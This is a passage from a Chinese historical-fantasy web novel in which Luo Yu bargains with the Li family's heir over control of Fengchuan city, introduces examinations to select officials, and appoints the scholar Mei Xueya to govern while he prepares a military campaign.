望着屋子里满满当当的案牍简册,洛羽蒙了,萧少游也蒙了。
这里面记载的都是凤川城的人口、田地、商贾、税赋,这只是一小部分,姚家府宅里还堆着很多。
既然想当凤川的城主,那就得治理凤川吧?想要治理凤川总得了解这些基础吧?
可洛羽和萧少游刚看了半天就觉得脑袋发昏,这也太多了,宛如天书。
此刻两人才意识到苍岐与凤川城的差距:
苍岐是从几百人一点点发展起来的,每一件事都是按部就班的发展,而且一直处于军卒的管辖之下,百姓们只需要负责建城、拿工钱就行,没什么乱七八糟的事。
可凤川就不一样了,城外属地有大大小小几十个村镇,城内更有大小商贾、铺面无数,数万人口。
这么一座大城该
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怎么治理?
“城中就没有官吏吗?”
洛羽看向江殊:“之前替姚家做事的那些官吏呢?全都找过来给**活!”
“全跑了。”
江殊摊了摊手:
“之前的官吏都是姚林提拔的亲信,羌兵来袭之前逃了一大批,听说你杀了姚林又跑了一批,现在城内没几个官了,完全不顶用。”
“这个姚林,怪不得混成这般模样,全找些贪生怕死之辈!”
洛羽愤愤不平,这下好了,凤川城短期内无官可用。
江殊无奈道:
“姚林这些年任人唯亲,提拔官吏只看是否忠心、有没有送钱,能力无所谓。导致凤川城的读书人渐渐都没了,要么另谋生路、要么远走他乡。”
洛羽板着脸,其实这不是凤川一地的问题。
大乾国并没有完整的选官制度,各地的官吏都由城主任命,要么是自家嫡系子弟、要么是有利益关联的盟友、要么是府中幕僚,首要一点就是忠心!可靠!
所以大乾的普通读书人想要做官就只有一条路可走:
去某个世家府上做幕僚,如果能受到家主的赏识信任,那就会被提拔重用,但大多数人一辈子都只能当个幕僚,碌碌无为。
“所以说百无一用是书生,才华不能当饭吃,无人提拔就只会饿死街头。”
同样是读书人出身的萧少游很清楚大乾官场的现状,当初他家里让他读书想的就是以后去给大家族当幕僚,又或者凑一笔银子让他当官,谋个好出路。
可事与愿违,天降横祸,从此萧少游走上了从军之路。
“这样下去可不行啊,咱们得选一些能臣干吏帮我们治理凤川。”
洛羽的眼珠子轱辘直转,思考着应对之举。
其实在苍岐的时候他就有过这种念头,随着苍岐规模越来越大,光靠军队去管是不现实的,必须要有理政的人才。
江殊目光闪烁,似乎有话要说,但还没等他开口小伍就步履匆匆的走了进来:
“城主,李家大公子到了。”
“这么快?”
洛羽猛然抬头:“来了多少人,带兵了吗?”
“没带兵,只有一辆马车,随从护卫二十。”
三人的面色同时凝重,李家大公子的底气就是足啊,完全没把他们放在眼里。
“那就请入城中吧。”
洛羽挺直胸膛:
“我来会会他!”
第104章与李家做个交易
包房里多了一位公子哥,一身雪白长衫,用银线绣出一道道冰雪纹路,栩栩如生,乍看一眼便觉得浑身发凉。
李家大公子,李玄冰,陇西四公子之一。
看相貌要比君墨竹大几岁,面容清秀、身姿俊朗,很符合翩翩佳公子的身份。
洛羽暗自嘀咕,这些世家大公子怎么都一个样,看起来文质彬彬,可又给人一种深不可测、城府极深的感觉。
“久闻洛城主大名了,今日幸得一见。”
李玄冰面带微笑:
“当初你在云阳关杀了完颜昌的时候我就注意过你,本想着问问你愿不愿意投入李家,可君墨竹先对你抛出了橄榄枝,那我就不掺和了。
苍岐也不在阙州辖境,导致你我一直无缘相见。
这次正好借着姚家一事来见见你,你比我想象中年轻得多啊。阙州能出洛城主这等年轻俊杰,着实让我意外。”
“公子过奖了,杀完颜昌不过是侥幸罢了,我只是个不起眼的小人物。”
“小人物?哈哈。”
李玄冰大笑一声:
“杀了完颜昌是侥幸,这次杀了木里扎、击溃两千羌骑也是侥幸?你到苍岐之后的所作所为我略有耳闻,你可不是什么小人物,而是名震阙州的英雄。”
洛羽没有接话,听李玄冰的口气,今天他是有备而来,起码了解过自己。
李玄冰看了一眼满桌的菜肴,独独没见到酒壶,打趣道:
“不是说请本公子喝酒吗,怎么连酒壶也不见一个?难不成洛城主这么大的家业连一坛好酒都舍不得拿出来?”
“公子说笑了,酒水早已备好,很快就来。”
李玄冰漫不经心地说道:
“传言说听雨楼所售的三锅头都出自苍岐,想必洛城主定有酿酒秘术。今日我大老远来一趟凤川,洛城主该不会还拿三锅头招待我吧?”
“自然不会。”
洛羽很清楚李玄冰是在给自己出难题,现在市面上三锅头随处可见,稍微有点身价的小商小户都喝得起,如果自己今天拿出的还是三锅头,那就是在敷衍了。
“来人,上酒!”
身子曼妙的婢女推门而入,将精美的酒壶摆在桌上,而后又很识相地道了个万福,缓步退,从头到尾都没发出过一丝声音。
洛羽亲自倒酒,一人一杯,做出个请的手势:
“尝尝。”
酒刚入杯,便有淡淡的香味在屋中弥漫,李玄冰随手端起酒杯抿了一口,饶有趣味地点了点头:
“确实是好酒啊,没有三锅头那么烈,但香味却更浓郁了,似乎,似乎还有点飘飘欲仙的感觉。”
仅仅喝了一口,李玄冰的脸颊便微微泛红,脑袋有一种晕乎乎的感觉。三锅头他喝过不少,此酒确实比三锅头高出了一个档次。
“凤仙醉,很快便会在市面上售卖,公子所喝的是第一坛。”
洛羽底气十足,此酒品质如何他心底门清,料定李玄冰挑不出刺来。
实际上这也是江殊和沈漓两人想出来的主意,三锅头虽然价格不菲,但稍微有点银子的人便喝得起,区分不出小富与大富。
豪门大族图的是什么?图的不就是个面子吗。你摆摊卖饼得喝三锅头,地主老爷喝三锅头,老子家大业大、腰缠万贯也喝三锅头算怎么回事?
所以江殊与沈漓一合计,让洛羽改造了酿酒之法,特选上佳的粮**心酿造、多次提纯,得到的酒水自然要比三锅头好得多。
今日正好拿来应付李玄冰。
“凤仙醉,凤川美酒醉神仙,好名字,呵呵。”
李玄冰放下酒杯,脸上的笑意渐渐消失:
“酒已经喝了,接下来该谈谈姚家的事了。
姚林给我李家纳税,李家护他周全,天经地义。你杀了姚林那就是在打我李家的脸,而阙州李家的威严不容任何人挑衅。”
说到这李玄冰顿了一下,眼神冷了许多:
“今日我孤身前来是给你一个机会,若是不能给我一个满意的说法,下次来的可就是千军万马了。
我知道你麾下兵马能打,但我李家的名头也不是吹出来的。夺回凤川甚至说踏平苍岐,在我眼里都易如反掌。”
从满脸笑容到冷酷杀意的转换只在瞬息之间,李玄冰的语气中带着李家特有的自傲,屋中瞬间充满寒意。
洛羽不慌不忙,反问了一句:
“我听说李家最近遇到了麻烦?”
“麻烦?”
李玄冰嗤笑一声:“笑话,我李家能有什么麻烦。”
“是吗?”
洛羽意有所指:
“袭扰内地的羌兵虽然退走了,但他们可全都集结在云阳关附近,似乎没有退往关外的迹象。若是他们隔三岔五就进内
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地劫掠一圈,阙州境内就会被闹得鸡犬不宁、怨声载道。
据我所知光是此次入境劫掠,李家的私产就有不少被羌兵劫掠一空。如果羌兵不走,这种事便会不断发生,李家的损失也会越来越大。
您父亲乃是朝廷亲封的阙州持节令、又是李家家主,想必不愿意看到这一幕吧?”
李玄冰神色平静,淡淡的一挥手:
“你接着说。”
“我知道李家最近在召集各路牙兵赶往前线,准备集结兵力收复云阳关。但羌兵精通骑射,骁勇异常,岂会是那么好对付的?”
洛羽缓缓抬头:
“我可以带兵去前线,替李家收复云阳关。”
“噢?你愿意去?”
李玄冰的目光亮了几分,洛羽多次击败羌兵,麾下兵马的战斗力毋庸置疑,有他在前线,收复云阳关的可能性会大得多。
“我想和李家做个交易。”
“交易?我明白了。”
李玄冰心领神会:“你想用云阳关换一座凤川城?”
“公子果然聪明。”
洛羽微微一笑:
“我带兵去云阳关,和各城牙兵合兵一处,替你收回云阳关。事成之后,凤川城归我,你再帮我求一道朝廷的圣旨,封我为正五品的游击将军。”
凤川城洛羽一定要握在手里,至于五年之约他也一直记在心里,不管日后会走上哪一条路,起码先把约定完成,这样娘亲生活在武家才有保障。
“正五品的将军好办,但你想要凤川城,是不是胃口太大了些?”
李玄冰冷笑道:
“你要知道,凤川城可是阙州境内排得上号的繁华城郭,多少人都盯着呢。”
“李家召集的那些牙兵战力如何公子心中应该清楚,靠他们能拿回云阳关吗?”
洛羽端起酒壶,再度给李玄冰倒满一杯凤仙醉:
“但我可以给你兜底,只要我洛羽还在前线,就保证帮你把云阳关拿回来。区区一个凤川与整个阙州比起来孰轻孰重,我相信公子心中自有衡量。
这笔交易,李家绝对不亏。”
屋中陷入了短暂的寂静。
四目相对,各怀心思。
沉寂许久,李玄冰端起酒杯一饮而尽:
“给你两个月的时间准备,然后起程去云阳关。”
“夺不回云阳关,我会带兵踏平苍岐!”
第105章科举制
萧少游、韩朔、江殊三人站在屋内,神色凝重。
洛羽看着三位心腹:
“情况你们也都清楚了,为了把凤川、苍岐牢牢握在手里,两个月后咱们就得发兵云阳关,替李家拿回边关重镇。”
别看条件谈的是凤川城,实际上洛羽杀了姚林,那就成了李家的敌人,若是不能夺回云阳关,李玄冰一定会连苍岐一起攻克,以泄心头之恨。
这两个月是盛夏酷暑,本就不是用兵的好时候,李玄冰让洛羽一入秋就带兵赶赴前线,足见李家迫切地想要夺回云阳关。
“收复云阳关这一仗不好打啊。”
韩朔面带忧虑:“以往我们是据城坚守,阻挡羌兵的马蹄,现在成了我们攻、羌人守。云阳关乃坚城,易守难攻,想要攻克它不容易啊。”
“最要命的不是敌人,而是那些所谓的同袍友军。”
萧少游冷笑一声:“李家势必会抽调各路牙兵赶赴前线,他家几百、你家几千,就像一锅大杂烩,各怀异心,鬼知道会不会有人从背后给咱们捅刀子。
明枪易躲,暗箭难防啊。”
几人眼神冷厉,犹记得当初云阳关之战时,三位守城将军竟然有两位与羌人私通,若不是他们力挽狂澜,云阳关早就丢了。
“所以这一战我们务必慎之又慎,输,满盘皆输,赢,凤川入手!”
洛羽沉声道:
“当务之急咱们要做两件事,第一招兵买马、选拔青壮悍卒跟着我去前线,还得留人驻守苍岐和凤川。
姚家原先的牙兵已经有一部分被我们改编,再加上凤川本地尚可招募青壮,扩充一批新兵不成问题。
我的想法是将亲兵旗扩充至两百骑兵,吕青云、余寒弓两尉兵马各扩充一百步卒,毕竟会有攻城战,步卒不可或缺。再加上董川、蒙虎的两尉骑兵,总计出征兵马一千六百人。
剩下的新兵全都交由韩大哥指挥,驻守苍岐、凤川两地,替我们看好后方。”
“啊,我竟然留在家里?”
韩朔当即就不乐意了:
“我好歹在云阳关待了这么多年,这次云阳关被破我痛心疾首、恨不得立马飞过去与羌兵血战,这都不让我去前线?”
“不是我不带你去,而是只有你能替我们守好家。”
洛羽耐心地劝说着:
“少游要跟在我身边出主意,董川、蒙虎他们四个的性子都不如你沉稳,资历也没有你深,你留守是最合适的。
我们已经与李家谈妥条件,短时间内他不可能对凤川发难,所以你主要的任务就是操练新兵、维持治安、清剿周边的土匪山贼。”
“行吧。”
韩朔闷闷不乐地耷拉下脑袋:“你是城主,你说了算。”
“接下来就是第二件事。”
洛羽接着说道:
“韩大哥带兵留守只能护卫两城的安全,可偌大一座凤川城得有人来管啊。找谁?”
萧少游抱着膀子说道:
“李玄冰离开之后城内有不少富商、地主找上门来,都携带厚礼,想要替家中的后辈谋个一官半职。”
“这些人可真是会见风使舵啊。”
洛羽冷笑一声,此前他刚占领凤川的时候城中大部分权贵都躲着他走,唯恐避之不及,因为他们在等李家的态度。
现在李玄冰来了一趟又走了,洛羽依旧安然无恙,在外人看来李家已经将凤川城交给了洛羽,这不得赶紧巴结?登门拜访的宾客络绎不绝,但洛羽一概不见。
“这些富豪商贾虽然在城中有些影响力,但我真不想让他们当官。”
洛羽沉声道:
“这些人现在给我送多少银子,日后当了官会连本带利的捞回来。姚林治理凤川十几年,将民间弄得怨声载道,我可不想重蹈姚林的覆辙。
挑选官吏,一定要以人品、能力为先,最好对凤川城的情况十分清楚。”
几人都下意识地看向江殊,江殊愕然:
“看**什么,我虽然在凤川长大,可只是个开酒楼做生意的,这么大一座凤川城总不能指望我来管吧?”
前些日子姚林举家逃难,光是号召民夫守城就弄得江殊焦头烂额,这个官真不是那么好当的。
“不是让你当官,而是想听听你有什么好主意。”
洛羽轻笑一声:
“那日谈到缺少官吏,我看你欲言又止,似乎有话要说?”
“额,确实。”
江殊犹豫片刻,试探着说道:
“洛兄,你有没有想过从寒门出身、没有背景的读书人当中选拔一些官吏?这些人当官或许要比世家子弟当官做得更好。”
萧少游与韩朔表情错愕,大乾国官场历来讲究的都是家世、背景、出生,江殊的想法可是有些大胆了啊。
“哈
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哈哈,很好!”
唯有洛羽放声大笑:“你的想法与我不谋而合!”
三人齐齐错愕,洛羽竟然也这么想。
“当官本该为民谋福,世家出生的权贵子弟经历过磨难吗?他们知道民间疾苦吗?这些人当官难道会为民着想?
凭什么寒门出生、辛苦求学的士子苦读十载,只能给那些富贵少爷当个卑微的幕僚,鞍前马后,说句不中听的,一辈子只能当一条走狗。”
洛羽用拳头锤了锤桌面:
“凭什么?我想问凭什么!”
凭什么三个字狠狠砸在几人的心口,不约而同地升起一股认同感,对啊,凭什么!
尤其是萧少游恍惚间有种醍醐灌顶的感觉,从小爹娘给他灌输的就是好好读书,给大世家当幕僚,现在转念一想:
凭什么!
洛羽沉声道:
“既然是选官,那我们就应该以才能为先!择优者进入官场!
明天一早派人在凤川城属地内张贴告示,让所有读书人在半个月后来城主府参加考试,考题我出,考试合格者便可做官!
世家子弟也好、寒门学子也好,咱们都在考卷上见真章,分胜负!”
三人目瞪口呆,所有人一起考试,成绩优异者当官,这种方法他们闻所未闻。
洛羽缓缓竖起一根手指:
“此法称之为,科举制!”
……
短短一天的时间,推行科举制选拔人才的告示就贴满了凤川、苍岐两地的所有村落,人尽皆知。
不管是与之息息相关的读书人还是大字不识一个的贫民百姓都觉得不可思议,如此选官的方法他们倒是头一回听说。
大部分人的第一反应就是新城主在胡闹、在开玩笑,从小到大他们就没听说过好好读书就能当官,他们耳濡目染之下只有世家子弟、豪门富商才能进入官场。
当然,也有少部分寒门学子带着将信将疑的态度开始埋头苦学,为半个月后的考试做准备。
城内某条偏僻的街巷中,蓬头垢面的小乞丐捧着科举告示翻来覆去地看着,眼眶泛红,两行热泪顺着脸颊滚落。
“喂。接着!”
江殊的声音从背后传来,小乞丐习惯性地一抬手,照例又是一锭散碎银子落入手中,只不过比以前的要沉。
“收拾得利索点,别给我丢人!”
“谢了!”
第106章开古今之先河
半个月如期而至
从大清早开始就陆陆续续有背着包袱、行囊的读书学子出现在原先的城主府门口,姚家覆灭之后这里就成了无主之地,正好用来作为考场。
考生中有许多穿着粗布麻衣,打扮得像个农家汉。没办法,读书又不能当饭吃,所以很多读书学子在做官无望之后便回家种地去了,好歹能养活家里人。
早有军卒守在门口,帮着考生进行入场登记,姓名、籍贯然后发一块木牌,这就是考生的凭证了。为了不吓到这些读书人,今日所有军卒一律不得佩刀,还得一直挤出笑脸。
你还别说,一帮粗糙的军汉强行挤出笑脸的样子还怪吓人的,考生们个个战战兢兢,不敢高语。
院中的场地早就被清空,每隔两步摆放着一张书桌,笔墨纸砚皆已备齐,考生可按照入场次序自行选择座位。大家依次落座,虽然不敢说话,但都紧张地四处张望,所谓的科举制到底是个什么意思他们还没搞清楚。
楼阁之上洛羽眉头微皱:
“似乎来的考生不多啊。”
院中人影稀稀落落,粗略一看也就五六十人,估计到入场截止的时候也不会超过百人,这可比洛羽想象中的差了太多,苍岐加凤川两地难道只有这么点读书人?
“能来这么多已经不少了。”
萧少游倒是早就预料到这一幕,轻笑道:
“大乾读书人从小接受的教育就是进入世家门阀当门客、再不济也得由同乡士绅保举才能进入官场。
所谓科举制,单凭一份考卷就能让他们有机会当官,谁会信?
我如果是个读书人,只会认为是你这个城主新官上任三把火,想要折腾出新花样,肯定不会来参加考试,而是耐心观望。
如果说科举制真的如你所言能够当官,那我下一次再参加不就好了。”
“有道理,倒是我欠缺考量了。”
洛羽了然,以前选官的制度早已深入人心、根深蒂固,读书学子的思维一时间是转不过来的。
“咦,你看那人,气质不错。”
萧少游努了努嘴,洛羽顺势投去目光。
人群中有一袭白衣甚是扎眼,身姿挺拔,一举一动都充满着书生气,对待旁人更是彬彬有礼,其他人坐下来都在东张西望,独独他在安心整理着桌上的笔墨纸砚,正襟危坐,远比旁人要沉稳得多。
“倒像个饱读诗书的年轻人,性格也算沉稳,就是不知道有几分真本事啊。”
洛羽微微点头,眉宇中却带着一丝疑惑,他怎么觉得此人看起来有些面熟呢?
“叮~”
随着一声钟响,城主府的大门缓缓关闭,入场的时间已经截止了,落座的**十号读书人便算是第一场科举制的所有考生。
洛羽从院内走出,有模有样地拱手作揖:
“在下洛羽,今日有幸与诸位一见,也算是缘分一场。”
全场瞬间安静,所有人都瞪着双眼眸,名震阙州的洛羽竟然就这么出现在他们眼前。
外面传言洛羽凶神恶煞、**不眨眼,毕竟他杀过的羌人怕是比普通人杀过的鸡还多,可今日一见怎么觉得这位洛城主挺礼貌的呢?
“开考之前,本考官要向你们重申一遍何为科举制。”
洛羽朗声道:
“简而言之,由考官出题,你们答题,挥洒多年所学,考试成绩优异者便可为官。
我大乾历来选官都靠世家、乡绅举荐、提拔,寻常人很难做官,但科举制便是你们的一个机会,只要作答优异,便可成为一地的父母官!”
一众学子目光亢奋,难道真的如此容易便能当官?
“我知道你们当中有很多人不信,但此次科举之后你们便会明白,只要努力求学,寒门出身亦可为官!”
洛羽的嗓音逐渐拔高:
“寒窗十载,父母掏空家产给你们读书,功成名就只在今日!
我希望你们记住,咱们是在开古今之先河,切莫辜负自己毕生所学!”
开古今之先河!
铿锵有力的一句话让所有人的眼眸都亮了起来,尤其是那一位白衣,眼眶似乎都发红了。
洛羽高高竖起一根手指:
“今日考题只有一句话!”
“如何治理一座城!”
……
凤川城的第一次科考结束了,简陋、短暂而又庄重。
萧少游、江殊、韩朔这几个识字的全被洛羽叫了过来,一起参与阅卷,反正就几十张考卷,努努力两天就能看完。
其实洛羽对这次的科举抱有很大期望,一来是他需要有人帮他治理凤川城,二来他也想一步步去改变大乾选官的方式,凤川城就当做是他的一次试点。
由于是第一次科举,考生们都不知道该如何作答,所以答案也五花
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八门,有的考生学识浅陋,纯粹是来凑热闹、乱答一通;也有人一丝不苟,写出了自己的见解。
洛羽一份份翻阅,眼皮子都不敢眨一下,生怕错过好文章。他的目光最终停在了一份字迹工整的答卷上,来来**看了好几遍,忍不住地点头:
“这份答卷不错,有条有理,见解独特。”
“你们都看看。”
“治城策。”
萧少游饶有兴致念出了题目,耐心看了一会儿之后同样露出了诧异的目光:
“这篇文章写得不错啊,从各个方面罗列了治理一座城的要点,甚至每一点还列举了详细的举措,在我看来他提出的这些措施都可以切实推行下去。”
“没错,这是最让我满意的地方。”
洛羽微微一笑:
“其实这么多考卷里有不少答得不错,看得出答卷之人有些许真才实学。但他们的话总给人一种空洞的感觉,像是飘在天上,许多大话空话看起来漂亮,真正用在治理城池上却不一定管用。
唯有此篇文章令人眼前一亮,作答之人很明显是用心写的,我甚至怀疑这篇文章早就在他肚子里了。”
看完考卷的几人纷纷点头,这份答案获得了众人的一致认可。
洛羽缓缓起身:
“如果你们没有异议,此人便是这次科举的第一名,也就是状元郎!”
“状元郎?”
几人一脸疑惑,又是一个陌生的词汇。
洛羽笑着解释道:
“你们想啊,每一位考生在开考之前都需要投递一张状纸,上面写着自己的姓名籍贯,考完之后,排在榜单第一名的不就是状头吗?那就称之为状元!
我决定了,以后科考第一名称之为状元、第二名榜眼、第三名探花!
凡考取前三名者,城主府统统有重赏,以示嘉奖!”
大家听得云里雾里,但并未提出反对意见,反正他是城主,他说了算。
洛羽拿出破晓,轻轻刮去封泥,想要看一看考生姓名。
梅雪崖。
字迹工整,笔锋刚劲,隐约带着些朝气蓬勃之感。估计是个年轻人。
名字出现的那一刻,江殊的表情似乎变得雀跃起来。
“梅雪崖,名字倒是不错啊。”
洛羽饶有兴致地说道:
“明天一早放榜,向所有学子公布名次!正好也见见首位状元郎!”
第108章铸作人间不平鸣
这封答卷洛羽已经翻看了七八遍,纸张都被捏皱了:
“你在治城策中提出了五点:
重农桑以实仓廪、兴市易以富民财、崇教化以正风俗、肃吏治以正纲纪、严武备而靖奸宄。
能否一一为我详解?”
“自然可以,请容草民一一道来。”
在几人期待又带着欣赏的目光中,梅雪崖缓缓开口:
“第一,重农桑以实仓廪。
农桑乃民之根本、国之根本。耕者有其田,辖境内便能民生安稳,不生流民。所以草民以为,应当垦荒种地、扩充良田,将恶商地霸的土地统统收归官府,再统一分配,确保百姓有田可耕。
洛城主在苍岐城属地内打土豪、分田地与此法有异曲同工之妙,老百姓有了田,自然会誓死守护自己的家园。
只不过洛城主的法子尚有些许不足之处,例如按人口均分田地,看似公平,实则不然。
例如凤川城辖境内的耕地因为土地肥沃的不同,导致亩产各不一样,你家的地亩产三百斤,我家的亩产一百斤,付出的劳动却是一样的,公平吗?
所以草民在策中写了,可将全境土地分为上田、中田、下田,分得上田者耕地就少些,分得下田者耕地就多些,如此方能尽可能的公平。
家家户户皆有田地,日子一长,时间一久,百姓安居乐业、城内仓廪充实,此便是立足根本。”
“第二,兴市易以富民财!
洛城主打土豪之举大快人心,确实有不少地主富商欺压百姓、吞并土地,该杀的,此举没错。但想要凤川繁盛,没有商贾绝不可行,必须择其优者而留之。
例如城内街坊混乱,东一摊位西一商铺,百姓想要买东西得从东到西走很远的路。
城主府可在城内兴修商坊,将商贾小贩集中在一起,既便于管理又便于百姓们采购之需,省得费时费力在城中兜圈子。
商贾旺则赋税高,赋税高则可以减百姓的田赋,长此以往,凤川城必欣欣向荣。”
“第三,崇教化以正风俗!
寒门学子无出头之路,各城城主选拔官吏全凭一己之私,导致各县各乡读书人越来越少,人人出口成脏,思维僵化,久而久之陇西不就成了蛮夷之地?
草民以为应当在各乡各镇设立乡学,教人读书识字,以正民风。
如今城主行科举,选贤能,恰能让读书人重燃希望,五年后、十年后,凤川便会涌现出许多大才,为城主所用。”
“第四,肃吏治以正纲纪!
以前凤川城的官场是一团乱麻,全凭姚林一人说了算,今日你管田赋、明日他管军营,任人唯亲,胡搞一通,政务废弛、民生不稳,如此作为岂是长久之道?
凤川城当效仿朝廷官场,设六房治理全城,分别是吏房、户房、礼房、兵房、刑房、工房。
六房各司其职,分管城中事务,如此责任明确、各专其职,凤川必兴!
城主府还可以定期对六房官吏进行考核,滥竽充数、尸位素餐者一律罢官!”
“第五,严武备而靖奸宄。
阙州地处边关,外有羌贼内有土匪流寇,武备不精**生不稳。当招兵买马,护卫家园,若无战火之扰,百姓定能安居乐业。
但洛城主乃统兵之才,草民就不班门弄斧了,此策简略。”
梅雪崖足足讲了整整一个时辰,阁楼中寂静无声,无一人开口打断。每一条建议都十分中肯,考虑得十分细致。
洛羽的目光越来越亮,这简直就是为他量身打造的理政天才!
“其实我还有很多很多想法,光靠一份答卷是写不出来的。”
梅雪崖沉声道:
“纸上得来终觉浅,绝知此事要躬行。很多事情只有做了才知道可不可行,真正的利民之策、强民之策,一定要在实践中不断摸索、改进。”
“好,说得太好了!”
洛羽大笑一声,随即责备似的看向江殊:
“有如此大才,你怎么不早点举荐给我,还要拖到今天?”
经过这么一番畅谈,洛羽已经认定了梅雪崖未来会成为自己的左膀右臂。
江殊无奈:“这真不能怪我,其实我早就有过这样的念头,但是被雪崖给拒绝了。他说既然想当官,那就得凭真才实学,若是我引荐,不又成了靠着身份背景当官的庸庸之辈?”
“我不想成为自己最讨厌的人。”
梅雪崖很认真地说道:
“雪崖非吾名、梅骨非吾形。愿借书中千秋史,铸作人间不平鸣!
如果我的所学真的有益于百姓,那我便当这个官,如果我只是百无一用的书生,那就让我饿死在
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凤川街头吧。”
“有用,太有用了。”
洛羽直视着梅雪崖的眼眸:
“我如今还没有朝廷册封,说白了只是一个城主,也不可能给你求来正儿八经的官职。
所以从今天起你就是城主府的长史,替我全权管理凤川政务,说白了,整座凤川城除了我,就是你最大!
此次科举还有三十名读书士子榜上有名,这些人都归你管,让他们担任何职、分管何事,全都是你说了算!”
“这,这……”
梅雪崖被惊到了,支支吾吾说不出话来。
他以为洛羽所说的当官就是当个协助处理政务的小官小吏,万万没想到洛羽会把整个凤川城交给自己。
“我,我何德何能敢主管整个凤川,这怕是不妥吧?”
“要相信你自己。”
洛羽竖起一根手指:
“我说过,我会给你一个施展才华的舞台,能把凤川城变成什么样就看你的本事了。
你给我记住,我现在用你是因为你的治城之策令我刮目相看,但如果你说一套做一套,没能将凤川城治理好,我还是会将你逐出城主府,重新当你的小乞丐。”
“雪崖明白了。”
梅雪崖深深弯下腰肢:
“定不会让洛城主失望!”
“还有一个问题。”
洛羽平静的问道:
“李家打**你爹,你有没有想过报仇?”
“不敢想。”
梅雪崖眼眶微红,咬着牙唇:
“李家主掌阙州多年,势力庞大,我区区一个小乞丐,何来本事敢言报仇二字?”
李家,在阙州何等的威风,他一个小小的读书人怎么可能敢找李家报仇。
洛羽语气加重:
“我没问你敢不敢,我问你想不想!”
“想!”
梅雪崖咬牙切齿地说道:
“做梦都想报仇!做梦都想让李家知道,我梅雪崖可以!是他们瞎了眼!”
“很好,大丈夫当有**之志!”
洛羽面无表情的说道:
“跟着我好好干,总有一日你梅雪崖的名字会响彻陇西三州,让李家不敢直视!
总有一日,我会让你有亲手报仇的机会!”
梅雪崖身形一颤,伏地跪拜:
“梅雪崖愿追随洛城主,尽心竭力,万死不辞!”
第109章我在家中等你回来
校场上摆放着大量军械:
盾牌、甲胄、步卒**、骑兵长矛、弯刀应有尽有,在阳光的照耀下泛着点点寒光。
“你们出征所需要的军械我已经给你们准备妥当了,至于攻城器械应该不需要我造吧?
那玩意儿造起来可费劲,而且不是一两个月就能搞定的。”
公输白顶着两个黑眼圈不停地抱怨:
“一开始是三百套甲胄、接着是八百套,现在又成了两千套,到底有完没完了!”
“抱怨什么?又不是没给你酒喝,最好的一批酒都被你喝了!”
洛羽压根没机会公输白的抱怨:
“攻城器械不用你造,好像前线会有人提供。你不是说要改造**吗,怎么样了?”
“哼,我自然是说到做到。”
公输白没好气地指向木架上的一把弯弓道:
“这是我最新改良的**,算是我钻研多年的得意之作吧,想不想试试?”
难得从公输白嘴里听到得意之作四个字,洛羽当即就好奇起来:
“寒弓,你来试试!”
“诺!”
余寒弓走出人群,抄起弯弓拉了拉弓弦,面露惊疑:
“嚯,力道不小啊。”
“哈哈,此弓力道确实强劲,但只要是个爷儿们总能拉得开。”
公输白大笑一声:
“余都尉可以射一箭试试。”
余寒弓捏起一支利箭,眼珠子咕噜直转寻找着目标,然后就盯上了半空中飞翔的一只老鹰。
“就它了。”
余寒弓嘴角微翘,弯弓搭箭,箭矢冲天。
“嗖!”
弓弦一松,展翅翱翔的雄鹰似乎嗅到了危险,扑腾着想要逃走。
下一刻箭矢就射中鹰翼,尸体连着在空中翻滚了好几圈最后笔直坠落。
四周士卒一片惊呼,这么远的距离依旧能一箭毙命,何等精准的箭法啊。
全场惊骇。
“早就听说余都尉箭术精湛,果然名不虚传。”
公输白佩服地竖起了大拇指:
“觉得此弓如何?”
“好!比之前军中用的弓箭好太多了。”
余寒弓爱不释手地把玩着:
“力道足、射程远、准头也好。城主,此弓定能在战场上帮我们大忙!”
“有你这句话就够了。”
洛羽很满意,余寒弓可是玩弓的行家,他说好那就一定好。
“少游,随行出征的兵马召集得怎么样了?”
“各尉已经按照你的意思扩充完毕。”
萧少游应声答道:
“小伍的亲兵旗扩充成亲兵尉,辖两百骑兵;董川、蒙虎两尉各辖三百骑兵;吕青云、余寒弓两尉各辖一百骑兵、三百步卒,总计马步军卒一千六百人。
现在正由各尉百户、标长带领,日夜操练,现在多流汗,上了战场就少流血。”
“那现在就是万事俱备,只等出征了。”
洛羽遥望向城中深处,脑海中浮现出一张面庞:
“似乎很久没见她了。”
……
洛羽站在一间木屋门口,隔着薄薄的纱窗悄悄向屋内张望,依稀可见一道妙曼的身姿坐在桌前奋笔疾书。
沈漓,当初拿着一把小破斧就敢从奴庭一路逃荒到阙州边关的小丫头,俨然成了苍岐城独当一面的人物。
洛羽近期带兵外出,大部分时间都在凤川,整座苍岐城被她打理得井井有条。
梯田的开垦、三锅头与凤仙醉的酿造、城墙的建设等等,这么多重担都是她一个人在扛着,连萧少游和韩朔都惊叹小丫头的能力。
洛羽看了许久,犹豫半天最终还是没有出言打扰,就在他准备转身之际,清甜的嗓音从屋内传出:
“来都来了,不进来看看?”
洛羽无奈,只好推门而入:
“你怎么知道我来了。”
“切,我又不聋,脚步声还是听得见的。”
沈漓白了他一眼,水汪汪的大眼睛眨了眨:“怎么,不想见我?”
洛羽心头一阵触动,不敢与其对视,岔开了话题:
“没有,只是看你太忙,怕打扰你。”
“还不是替你这位甩手掌柜忙的。”
沈漓没好气的说道:
“正好你来了,跟你说说苍岐最近的情况。
最近边关战乱,逃亡内地的难民越来越多,还有一些从奴庭逃出来的流民,眼下苍岐的人口已经近万。
他们一部分被我分流到了周边的村落垦荒种地,还有一部分人在城内定居,开垦梯田、参与修缮城墙、打造铁器,由城主府给他们发放工钱……”
沈漓说了很多,几乎涵盖了苍岐城的方方面面。
“你做得很好。”洛羽微微点头:“看来我没看错人。”
“哼,连一句夸奖都没有。”
沈漓气急:“白替你操心了。”
“哎,话可不能
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这么说,怎么叫替**心?我每个月都付你工钱的。”
洛羽轻声说起正事:
“再有十天我就得带兵去云阳关了,最放心不下的就是苍岐和凤川两城,凤川那边有梅雪崖管,苍岐这里就交给你了。
韩大哥会率兵留守苍岐,遇到什么解决不了的麻烦就请韩大哥出面。”
“行了行了,别唠叨了,又不是没遇到过麻烦。”
沈漓好像有些烦躁:
“正好有一件事跟你说,曹殇前几天派人送来一百匹战马,说是饮马镇今年多产了一百匹马,送给咱们。”
“送给我们?没要钱?”
“没要,我派人去送银子,全都退回来了,曹殇说之前那笔买卖他赚了,这次就不收钱了,现在大家两不相欠。”
沈漓意有所指:
“全阙州都知道曹殇爱银子,这次却没收钱,我看人家是听说你要出征,送你一百匹战马当礼物了。
你心中可得有数。”
“我明白,咱这是欠了曹殇一份人情,罢了,以后有机会再还。”
洛羽了解曹殇的性格,不会无缘无故赠马,定然是听说自己出征,送来了一点心意。
